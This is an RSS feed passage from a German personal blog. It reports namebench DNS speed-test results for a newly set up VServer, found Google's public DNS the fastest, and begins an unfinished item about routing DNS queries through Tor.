&lt;p&gt;Vor etwa einem Monat schrieb ich hier über die &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3823&amp;amp;entry_id=1380&quot; title=&quot;http://www.kubieziel.de/blog/archives/1369-vServer-im-Sonderangebot.html&quot;  onmouseover=&quot;window.status=&#039;http://www.kubieziel.de/blog/archives/1369-vServer-im-Sonderangebot.html&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Aktion von Ingate&lt;/a&gt;, bei der es einen VServer zu gewinnen gab. Nach einiger Wartezeit kamen die Zugangsdaten an und derzeit richte ich den Rechner ein. Zur Einrichtung gehört mittlerweile für mich ein Test der Geschwindigkeit des (voreingestellten) DNS. Mittels einem Python-Programm namens &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3824&amp;amp;entry_id=1380&quot; title=&quot;http://code.google.com/p/namebench/&quot;  onmouseover=&quot;window.status=&#039;http://code.google.com/p/namebench/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;namebench&lt;/a&gt; lässt sich das hervorragend machen. Im Blog findet sich dazu ein &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3825&amp;amp;entry_id=1380&quot; title=&quot;http://www.kubieziel.de/blog/archives/1345-Wie-man-den-optimalen-Nameserver-findet.html&quot;  onmouseover=&quot;window.status=&#039;http://www.kubieziel.de/blog/archives/1345-Wie-man-den-optimalen-Nameserver-findet.html&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Beitrag&lt;/a&gt;. Nun spuckte namebench soeben das Ergebnis aus. Der Nameserver von Google ist fast viermal so schnell wie der beim Provider. Das ist so ziemlich die krasseste Abweichung, die ich bisher fand. Trotzdem bestätigt das, was ich bisher ermittelte. In allen meinen Versuchen seit Juni war &lt;em&gt;immer&lt;/em&gt; der Nameserver von Google der schnellste. Außerdem zensiert der nicht. Insofern könnte man ihn jedem Nutzer empfehlen. Letztlich bleibt der hinlänglich diskutierte Datenschutzaspekt. Wer den nutzt, überlässt einmal mehr Daten einer Firma. Das will wohlüberlegt sein.&lt;/p&gt;

&lt;p&gt;Untenstehend mal die Auswertung von namebench zum VServer von Ingate:&lt;/p&gt;


  &lt;style type=&quot;text/css&quot;&gt;
    
body {
  font-family: Helvetica, Arial, sans-serif;
  background-color: #bbb;
  background-image: -moz-linear-gradient(0% 100% 90deg, #e5e5e5, #666, #e5e5e5 99%);
  background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#e5e5e5), to(#bbb), color-stop(.1,#666));
}


td {
  font-size: x-small;
}


#container {
  margin-top: 4px;
  margin-bottom: 4px;
  margin-left: auto;
  margin-right: auto;
  width: 985px;
  background-color: #f5f5f5;
  padding: 0.5em;
  padding-top: 1px;
  border: 2px solid #666;
  border-radius: .6em;
  -moz-border-radius: .6em;
  -webkit-border-radius: .6em;
}

h1 {
  color: #00CC33;
  font-size: 75px;
  text-shadow: 3px 3px #eee;
  padding-top: 4px;
  margin: 0;
}

h2 {
  padding-top: 1em;
  clear:  both;
  font-size: 1em;
}

h3 {
  font-size: 0.8em;
  padding-top:  0;
  margin: 0;
}

h4 {
  margin: 0;
  padding: 0;
}

h5.faster {
  font-size:  30px;
  font-style: italic;
  color: #009911;
  margin: 0;
  padding-top: 4px;
}


#nsdetails {
  display: block;
  background-color:  #C2CFF1;
  border-radius: .5em;
  -moz-border-radius: .5em;
  -webkit-border-radius: .5em;
  padding-left:  3px;
  padding-bottom: 3px;
  padding-right:  3px;
  margin-left: 0.25em;
}

table#nstable {
  width:  100%;
  border-collapse:  collapse;
  font-size: small;
}

#nstable tr {
  vertical-align:  top;
}

#nstable td {
  font-size: small;
}

#nstable td.name_cell {
  font-size: x-small;
}

#nstable td.hostname_cell {
  font-size: x-small;
}


.ip {
  margin-left: 1em;
  font-weight: bold;
  font-family: monospace;
  border: 1px solid #999;
  background-color: #f5f5f5;
  width: 10em;
  padding: 1px;
  color: #000;
}

ul.warnings {
  padding:  0;
  margin:  0;
  margin-left: 0.em;
  list-style-position:  inside;
}
.warnings li {
}
#nstable td {
  padding:  2px;
  border-right:  1px solid #C2CFF1;
}

.even {
  background-color: #fff
}
.odd {
  background-color: #ebeff9;
}

.unhealthy_host {
    background-color: #FFD6D8;
    border-bottom: 1px solid #990000;
    border-top: 1px solid #990000;
}

.primary_row {
  font-weight: bold;
  background-color: #FFFFEE;
  border-top: 1px solid #EEEE00;
  border-bottom: 1px solid #EEEE00;
}

.disabled {
  background-color:  #333;
  border-bottom: 1px solid #666;
  color: #fff;
}

.disabled A { 
  color: #fff;
}

.disabled A:visited {
  color: #e5e5e5;
}

.greybox {
  border:  1px solid #999;
  border-radius: .5em;
  -moz-border-radius: .5em;
  -webkit-border-radius: .5em;
  padding:  1em;
  height:  11em;
  background-color:  #fff;
}

#big_summary {
  display: inline-table;
  float:  left;
  text-align:  center;
  width: 24em;
}

#recommended_config {
  float: right;
  display:  inline-table;
}

#recommended_config table {
  margin-top: 1em;
}

#recommended_config td {
  font-size: medium;
}

.rec_name {
  margin-left:  8px;
  display:  inline;
  color:  #999;
}

.section {
  margin-left: 0.25em;
  padding: 1em;
  background-color:  #fff;
  max-width: 910px;
}

.config {
  background-color:  #fff;
}
.configtable {
  font-size: 10px;
}

.configtable tr {
  border:  9px solid #f00;
}

#nstable thead td {
  font-weight:  bold;
  font-size: x-small;
}

h2:before {
  color:  #555;
  content:  &#039;\25BA&#039;;
  padding-right:  0.25em;
}


input[type=text] {
  color: #000;
}

.normal .error_count {
  background-color: #900;
  color: #fff;
}

.version {
  text-align: right;
  font-size: x-small;
  color: #ccc;
  clear: both;
}

/* links with tooltips */
a.info {
    position:relative;
    z-index:24;
    color: #000;
    text-decoration:none
}
.disabled a.info {
    color: #fff;
}

a.info:hover {z-index:25; }
a.info span {display: none}
a.info:hover span {
    display:block;
    position:absolute;
    top:2em; left:2em; width:15em;
    border:1px solid #0cf;
    background-color:#cff; color:#000;
    text-align: center
}

#notice {
  font-size: small;
  text-align: center;
  background-color: #ffa;
  border: 1px solid #cc7;
}
  &lt;/style&gt;


&lt;table id=&quot;nstable&quot;&gt;

&lt;thead&gt;
&lt;tr&gt;
  &lt;td nowrap=&quot;nowrap&quot;&gt;IP&lt;/td&gt;
  &lt;td&gt;Descr.&lt;/td&gt;
  &lt;td nowrap=&quot;nowrap&quot;&gt;Hostname&lt;/td&gt;
  &lt;td nowrap=&quot;nowrap&quot;&gt;Avg (ms)&lt;/td&gt;
  &lt;td nowrap=&quot;nowrap&quot;&gt;Diff&lt;/td&gt;

	&lt;td nowrap=&quot;nowrap&quot;&gt;Min&lt;/td&gt;
	&lt;td nowrap=&quot;nowrap&quot;&gt;Max&lt;/td&gt;
  &lt;td nowrap=&quot;nowrap&quot;&gt;TO&lt;/td&gt;
  &lt;td nowrap=&quot;nowrap&quot;&gt;NX&lt;/td&gt;
  &lt;td&gt;Notes&lt;/td&gt;
&lt;/tr&gt;
&lt;/thead&gt;


&lt;tr class=&quot;normal odd &quot;&gt;

  &lt;td class=&quot;ip_cell&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url=aHR0cDovL3d3dy5nb29nbGUuY29tL3NlYXJjaD9xPTguOC40LjQ=&amp;amp;entry_id=1380&quot; title=&quot;http://www.google.com/search?q=8.8.4.4&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?q=8.8.4.4&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; class=&quot;info&quot;&gt;8.8.4.4&lt;/td&gt;
  &lt;td class=&quot;name_cell&quot;&gt;Google Public DNS-2&lt;/td&gt;
  &lt;td class=&quot;hostname_cell&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3826&amp;amp;entry_id=1380&quot; title=&quot;http://www.google.com/search?q=google-public-dns-b.google.com&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?q=google-public-dns-b.google.com&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; class=&quot;info&quot;&gt;google-public-dns-b.google.com&lt;span&gt;74.125.42.87 74.125.42.82 74.125.42.81 &lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
  &lt;td&gt;57.88&lt;/td&gt;

  &lt;td&gt;259.0%&lt;/td&gt;
  &lt;td&gt;9.6&lt;/td&gt;
  &lt;td&gt;737.2&lt;/td&gt;
  &lt;td &gt;0&lt;/td&gt;
  &lt;td&gt;4&lt;/td&gt;
  &lt;td class=&quot;notes_cell&quot;&gt;

  
  &lt;/td&gt;
&lt;/tr&gt;

&lt;tr class=&quot;normal even&quot;&gt;

  &lt;td class=&quot;ip_cell&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url=aHR0cDovL3d3dy5nb29nbGUuY29tL3NlYXJjaD9xPTE1Ni4xNTQuNzEuMQ==&amp;amp;entry_id=1380&quot; title=&quot;http://www.google.com/search?q=156.154.71.1&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?q=156.154.71.1&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; class=&quot;info&quot;&gt;156.154.71.1&lt;span&gt;Neustar Ultra Recursive&lt;/span&gt;&lt;/td&gt;
  &lt;td class=&quot;name_cell&quot;&gt;UltraDNS-2&lt;/td&gt;
  &lt;td class=&quot;hostname_cell&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3827&amp;amp;entry_id=1380&quot; title=&quot;http://www.google.com/search?q=rdns2.ultradns.net&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?q=rdns2.ultradns.net&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; class=&quot;info&quot;&gt;rdns2.ultradns.net&lt;span&gt;udns2tcam.ultradns.net udns3tcam.ultradns.net &lt;/span&gt;&lt;/a&gt;&lt;/td&gt;

  &lt;td&gt;86.60&lt;/td&gt;
  &lt;td&gt;139.9%&lt;/td&gt;
  &lt;td&gt;16.4&lt;/td&gt;
  &lt;td&gt;874.3&lt;/td&gt;
  &lt;td &gt;0&lt;/td&gt;
  &lt;td&gt;3&lt;/td&gt;

  &lt;td class=&quot;notes_cell&quot;&gt;
  
    &lt;ul class=&quot;warnings&quot;&gt;
      
      &lt;li&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3828&amp;amp;entry_id=1380&quot; title=&quot;http://code.google.com/p/namebench/wiki/FAQ#What_does_&quot;  onmouseover=&quot;window.status=&#039;http://code.google.com/p/namebench/wiki/FAQ#What_does_&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;NXDOMAIN_hijacking&quot;_mean?&quot;&gt;NXDOMAIN Hijacking&lt;/a&gt;&lt;/li&gt;
      
	&lt;/ul&gt;
  
  &lt;/td&gt;
&lt;/tr&gt;

&lt;tr class=&quot;normal odd &quot;&gt;

  &lt;td class=&quot;ip_cell&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url=aHR0cDovL3d3dy5nb29nbGUuY29tL3NlYXJjaD9xPTQuMi4yLjQ=&amp;amp;entry_id=1380&quot; title=&quot;http://www.google.com/search?q=4.2.2.4&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?q=4.2.2.4&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; class=&quot;info&quot;&gt;4.2.2.4&lt;span&gt;If you have a legitimate reason for requesting this info, please contact hostmaster@Level3.net&lt;/span&gt;&lt;/td&gt;

  &lt;td class=&quot;name_cell&quot;&gt;Level 3/GTEI-4&lt;/td&gt;
  &lt;td class=&quot;hostname_cell&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3829&amp;amp;entry_id=1380&quot; title=&quot;http://www.google.com/search?q=vnsc-pri-dsl.genuity.net&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?q=vnsc-pri-dsl.genuity.net&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; class=&quot;info&quot;&gt;vnsc-pri-dsl.genuity.net&lt;span&gt;dns2.frf1 &lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
  &lt;td&gt;87.69&lt;/td&gt;
  &lt;td&gt;136.9%&lt;/td&gt;
  &lt;td&gt;7.1&lt;/td&gt;
  &lt;td&gt;1310.7&lt;/td&gt;

  &lt;td &gt;0&lt;/td&gt;
  &lt;td&gt;5&lt;/td&gt;
  &lt;td class=&quot;notes_cell&quot;&gt;
  
  &lt;/td&gt;
&lt;/tr&gt;

&lt;tr class=&quot;normal even&quot;&gt;

  &lt;td class=&quot;ip_cell&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url=aHR0cDovL3d3dy5nb29nbGUuY29tL3NlYXJjaD9xPTc4LjQ3LjExNS4xOTg=&amp;amp;entry_id=1380&quot; title=&quot;http://www.google.com/search?q=78.47.115.198&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?q=78.47.115.198&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; class=&quot;info&quot;&gt;78.47.115.198&lt;span&gt;9.4.3b2&lt;/span&gt;&lt;/td&gt;

  &lt;td class=&quot;name_cell&quot;&gt;Cesidio 6 DE&lt;/td&gt;
  &lt;td class=&quot;hostname_cell&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3830&amp;amp;entry_id=1380&quot; title=&quot;http://www.google.com/search?q=ns6.cesidio.net&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?q=ns6.cesidio.net&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; class=&quot;info&quot;&gt;ns6.cesidio.net&lt;span&gt;ns6.cesidio.net &lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
  &lt;td&gt;113.52&lt;/td&gt;
  &lt;td&gt;83.0%&lt;/td&gt;
  &lt;td&gt;4.0&lt;/td&gt;
  &lt;td&gt;1006.2&lt;/td&gt;

  &lt;td &gt;0&lt;/td&gt;
  &lt;td&gt;50&lt;/td&gt;
  &lt;td class=&quot;notes_cell&quot;&gt;
  
    &lt;ul class=&quot;warnings&quot;&gt;
      
      &lt;li&gt;Replica of Cesidio B DE [78.47.115.197]&lt;/li&gt;
      
	&lt;/ul&gt;
  
  &lt;/td&gt;

&lt;/tr&gt;

&lt;tr class=&quot;normal odd &quot;&gt;

  &lt;td class=&quot;ip_cell&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url=aHR0cDovL3d3dy5nb29nbGUuY29tL3NlYXJjaD9xPTIxMi4xMjMuOTYuMTEw&amp;amp;entry_id=1380&quot; title=&quot;http://www.google.com/search?q=212.123.96.110&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?q=212.123.96.110&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; class=&quot;info&quot;&gt;212.123.96.110&lt;/td&gt;
  &lt;td class=&quot;name_cell&quot;&gt;SYS-212.123.96.110&lt;/td&gt;
  &lt;td class=&quot;hostname_cell&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3831&amp;amp;entry_id=1380&quot; title=&quot;http://www.google.com/search?q=dns01.ip-exchange.de&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?q=dns01.ip-exchange.de&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; class=&quot;info&quot;&gt;dns01.ip-exchange.de&lt;/a&gt;&lt;/td&gt;
  &lt;td&gt;150.74&lt;/td&gt;
  &lt;td&gt;37.8%&lt;/td&gt;

  &lt;td&gt;3.2&lt;/td&gt;
  &lt;td&gt;1625.3&lt;/td&gt;
  &lt;td &gt;0&lt;/td&gt;
  &lt;td&gt;4&lt;/td&gt;
  &lt;td class=&quot;notes_cell&quot;&gt;
  
    &lt;ul class=&quot;warnings&quot;&gt;
      
      &lt;li&gt;A backup DNS server for this system.&lt;/li&gt;

      
	&lt;/ul&gt;
  
  &lt;/td&gt;
&lt;/tr&gt;

&lt;tr class=&quot;normal even&quot;&gt;

  &lt;td class=&quot;ip_cell&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url=aHR0cDovL3d3dy5nb29nbGUuY29tL3NlYXJjaD9xPTIwOC42Ny4yMjAuMjIw&amp;amp;entry_id=1380&quot; title=&quot;http://www.google.com/search?q=208.67.220.220&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?q=208.67.220.220&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; class=&quot;info&quot;&gt;208.67.220.220&lt;/td&gt;
  &lt;td class=&quot;name_cell&quot;&gt;OpenDNS&lt;/td&gt;
  &lt;td class=&quot;hostname_cell&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3832&amp;amp;entry_id=1380&quot; title=&quot;http://www.google.com/search?q=resolver2.opendns.com&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?q=resolver2.opendns.com&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; class=&quot;info&quot;&gt;resolver2.opendns.com&lt;span&gt;12.ams &lt;/span&gt;&lt;/a&gt;&lt;/td&gt;

  &lt;td&gt;166.42&lt;/td&gt;
  &lt;td&gt;24.8%&lt;/td&gt;
  &lt;td&gt;14.6&lt;/td&gt;
  &lt;td&gt;3500.0&lt;/td&gt;
  &lt;td class=&quot;error_count&quot;&gt;1&lt;/td&gt;
  &lt;td&gt;1&lt;/td&gt;

  &lt;td class=&quot;notes_cell&quot;&gt;
  
  &lt;/td&gt;
&lt;/tr&gt;

&lt;tr class=&quot;normal odd &quot;&gt;

  &lt;td class=&quot;ip_cell&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url=aHR0cDovL3d3dy5nb29nbGUuY29tL3NlYXJjaD9xPTE5NC44LjU3LjEy&amp;amp;entry_id=1380&quot; title=&quot;http://www.google.com/search?q=194.8.57.12&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?q=194.8.57.12&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; class=&quot;info&quot;&gt;194.8.57.12&lt;span&gt;9.6-ESV-R1&lt;/span&gt;&lt;/td&gt;
  &lt;td class=&quot;name_cell&quot;&gt;Nurnberger IX DE&lt;/td&gt;
  &lt;td class=&quot;hostname_cell&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3833&amp;amp;entry_id=1380&quot; title=&quot;http://www.google.com/search?q=ns.N-IX.net&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?q=ns.N-IX.net&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; class=&quot;info&quot;&gt;ns.N-IX.net&lt;span&gt;rNS2 &lt;/span&gt;&lt;/a&gt;&lt;/td&gt;

  &lt;td&gt;167.84&lt;/td&gt;
  &lt;td&gt;23.8%&lt;/td&gt;
  &lt;td&gt;4.0&lt;/td&gt;
  &lt;td&gt;1589.1&lt;/td&gt;
  &lt;td &gt;0&lt;/td&gt;
  &lt;td&gt;4&lt;/td&gt;

  &lt;td class=&quot;notes_cell&quot;&gt;
  
  &lt;/td&gt;
&lt;/tr&gt;

&lt;tr class=&quot;normal even&quot;&gt;

  &lt;td class=&quot;ip_cell&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url=aHR0cDovL3d3dy5nb29nbGUuY29tL3NlYXJjaD9xPTIxMi4xMTQuMTUzLjE=&amp;amp;entry_id=1380&quot; title=&quot;http://www.google.com/search?q=212.114.153.1&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?q=212.114.153.1&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; class=&quot;info&quot;&gt;212.114.153.1&lt;/td&gt;
  &lt;td class=&quot;name_cell&quot;&gt;Secondary-DNS DE&lt;/td&gt;
  &lt;td class=&quot;hostname_cell&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3834&amp;amp;entry_id=1380&quot; title=&quot;http://www.google.com/search?q=ns.secondary-dns.de&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?q=ns.secondary-dns.de&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; class=&quot;info&quot;&gt;ns.secondary-dns.de&lt;/a&gt;&lt;/td&gt;

  &lt;td&gt;181.08&lt;/td&gt;
  &lt;td&gt;14.7%&lt;/td&gt;
  &lt;td&gt;1.2&lt;/td&gt;
  &lt;td&gt;1643.7&lt;/td&gt;
  &lt;td &gt;0&lt;/td&gt;
  &lt;td&gt;4&lt;/td&gt;

  &lt;td class=&quot;notes_cell&quot;&gt;
  
  &lt;/td&gt;
&lt;/tr&gt;

&lt;tr class=&quot;normal odd  primary_row&quot;&gt;

  &lt;td class=&quot;ip_cell&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url=aHR0cDovL3d3dy5nb29nbGUuY29tL3NlYXJjaD9xPTgwLjE5MC4yMTEuMTA=&amp;amp;entry_id=1380&quot; title=&quot;http://www.google.com/search?q=80.190.211.10&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?q=80.190.211.10&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; class=&quot;info&quot;&gt;80.190.211.10&lt;/td&gt;
  &lt;td class=&quot;name_cell&quot;&gt;SYS-80.190.211.10&lt;/td&gt;
  &lt;td class=&quot;hostname_cell&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3835&amp;amp;entry_id=1380&quot; title=&quot;http://www.google.com/search?q=dns03.ip-exchange.de&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?q=dns03.ip-exchange.de&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; class=&quot;info&quot;&gt;dns03.ip-exchange.de&lt;/a&gt;&lt;/td&gt;

  &lt;td&gt;207.77&lt;/td&gt;
  &lt;td&gt;&lt;/td&gt;
  &lt;td&gt;0.6&lt;/td&gt;
  &lt;td&gt;1611.9&lt;/td&gt;
  &lt;td &gt;0&lt;/td&gt;
  &lt;td&gt;4&lt;/td&gt;

  &lt;td class=&quot;notes_cell&quot;&gt;
  
    &lt;ul class=&quot;warnings&quot;&gt;
      
      &lt;li&gt;The current preferred DNS server.&lt;/li&gt;
      
	&lt;/ul&gt;
  
  &lt;/td&gt;
&lt;/tr&gt;

&lt;tr class=&quot;normal even&quot;&gt;

  &lt;td class=&quot;ip_cell&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url=aHR0cDovL3d3dy5nb29nbGUuY29tL3NlYXJjaD9xPTIxNi4xNDYuMzUuMzU=&amp;amp;entry_id=1380&quot; title=&quot;http://www.google.com/search?q=216.146.35.35&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?q=216.146.35.35&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; class=&quot;info&quot;&gt;216.146.35.35&lt;span&gt;unbound 1.3.4&lt;/span&gt;&lt;/td&gt;

  &lt;td class=&quot;name_cell&quot;&gt;DynGuide&lt;/td&gt;
  &lt;td class=&quot;hostname_cell&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3836&amp;amp;entry_id=1380&quot; title=&quot;http://www.google.com/search?q=resolver1.dyndnsinternetguide.com&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?q=resolver1.dyndnsinternetguide.com&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; class=&quot;info&quot;&gt;resolver1.dyndnsinternetguide.com&lt;span&gt;ig-02-fra.dyndns.com &lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
  &lt;td&gt;228.13&lt;/td&gt;
  &lt;td&gt;-8.9%&lt;/td&gt;
  &lt;td&gt;23.5&lt;/td&gt;
  &lt;td&gt;3500.0&lt;/td&gt;

  &lt;td class=&quot;error_count&quot;&gt;2&lt;/td&gt;
  &lt;td&gt;3&lt;/td&gt;
  &lt;td class=&quot;notes_cell&quot;&gt;
  
    &lt;ul class=&quot;warnings&quot;&gt;
      
      &lt;li&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3828&amp;amp;entry_id=1380&quot; title=&quot;http://code.google.com/p/namebench/wiki/FAQ#What_does_&quot;  onmouseover=&quot;window.status=&#039;http://code.google.com/p/namebench/wiki/FAQ#What_does_&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;NXDOMAIN_hijacking&quot;_mean?&quot;&gt;NXDOMAIN Hijacking&lt;/a&gt;&lt;/li&gt;
      
	&lt;/ul&gt;
  
  &lt;/td&gt;

&lt;/tr&gt;

&lt;tr class=&quot;normal odd &quot;&gt;

  &lt;td class=&quot;ip_cell&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url=aHR0cDovL3d3dy5nb29nbGUuY29tL3NlYXJjaD9xPTgzLjE0Mi44Ni4x&amp;amp;entry_id=1380&quot; title=&quot;http://www.google.com/search?q=83.142.86.1&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?q=83.142.86.1&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; class=&quot;info&quot;&gt;83.142.86.1&lt;/td&gt;
  &lt;td class=&quot;name_cell&quot;&gt;CS-Arena DE&lt;/td&gt;
  &lt;td class=&quot;hostname_cell&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3837&amp;amp;entry_id=1380&quot; title=&quot;http://www.google.com/search?q=ns1.core-backbone.com&quot;  onmouseover=&quot;window.status=&#039;http://www.google.com/search?q=ns1.core-backbone.com&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; class=&quot;info&quot;&gt;ns1.core-backbone.com&lt;/a&gt;&lt;/td&gt;
  &lt;td&gt;242.89&lt;/td&gt;
  &lt;td&gt;-14.5%&lt;/td&gt;

  &lt;td&gt;3.5&lt;/td&gt;
  &lt;td&gt;3500.0&lt;/td&gt;
  &lt;td class=&quot;error_count&quot;&gt;2&lt;/td&gt;
  &lt;td&gt;5&lt;/td&gt;
  &lt;td class=&quot;notes_cell&quot;&gt;
  
    &lt;ul class=&quot;warnings&quot;&gt;
      
      &lt;li&gt;dns.query.BadResponse (2 requests)&lt;/li&gt;

      
	&lt;/ul&gt;
  
  &lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;
  
    </content:encoded>

    <pubDate>Wed, 14 Jul 2010 23:32:12 +0200</pubDate>
    <guid isPermaLink="false">http://www.kubieziel.de/blog/archives/1380-guid.html</guid>
    <category>dns</category>
<category>google</category>
<category>ingate</category>
<category>namebench</category>
<category>vserver</category>

</item>
<item>
    <title>DNS-Anfragen über Tor schicken</title>
    <link>http://www.kubieziel.de/blog/archives/1379-DNS-Anfragen-ueber-Tor-schicken.html</link>
            <category>Privacy</category>
            <category>Software</category>
    
    <comments>http://www.kubieziel.de/blog/archives/1379-DNS-Anfragen-ueber-Tor-schicken.html#comments</comments>
    <wfw:comment>http://www.kubieziel.de/blog/wfwcomment.php?cid=1379</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.kubieziel.de/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1379</wfw:commentRss>
    

    <author>jens@kubieziel.de (Jens Kubieziel)</author>
    <content:encoded>
    &lt;p&gt;Das &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3813&amp;amp;entry_id=1379&quot; title=&quot;https://torproject.org/&quot;  onmouseover=&quot;window.status=&#039;https://torproject.org/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Tor-Projekt&lt;/a&gt; ist vor allem
bekannt für die gleichnamige Software. Daneben entwickeln die Macher
eine Vielzahl weiterer Software, die ebenfalls die Anonymität und
Privatsphäre seiner Nutzer stärkt. Bekannte Projekte sind &lt;a
href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3814&amp;amp;entry_id=1379&quot; title=&quot;http://vidalia-project.net&quot;  onmouseover=&quot;window.status=&#039;http://vidalia-project.net&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Vidalia&lt;/a&gt;, die Erweiterung für den
Mozilla Firefox &lt;a
href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3815&amp;amp;entry_id=1379&quot; title=&quot;https://torbutton.torproject.org/&quot;  onmouseover=&quot;window.status=&#039;https://torbutton.torproject.org/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Tor-Button&lt;/a&gt; oder die
kürzlich vorgestellte Erweiterung &lt;a
href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3816&amp;amp;entry_id=1379&quot; title=&quot;https://www.eff.org/https-everywhere&quot;  onmouseover=&quot;window.status=&#039;https://www.eff.org/https-everywhere&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;HTTPS&amp;#160;Everywhere&lt;/a&gt;. Jacob Appelbaum stellte kürzlich
ein weiteres Projekt &lt;a
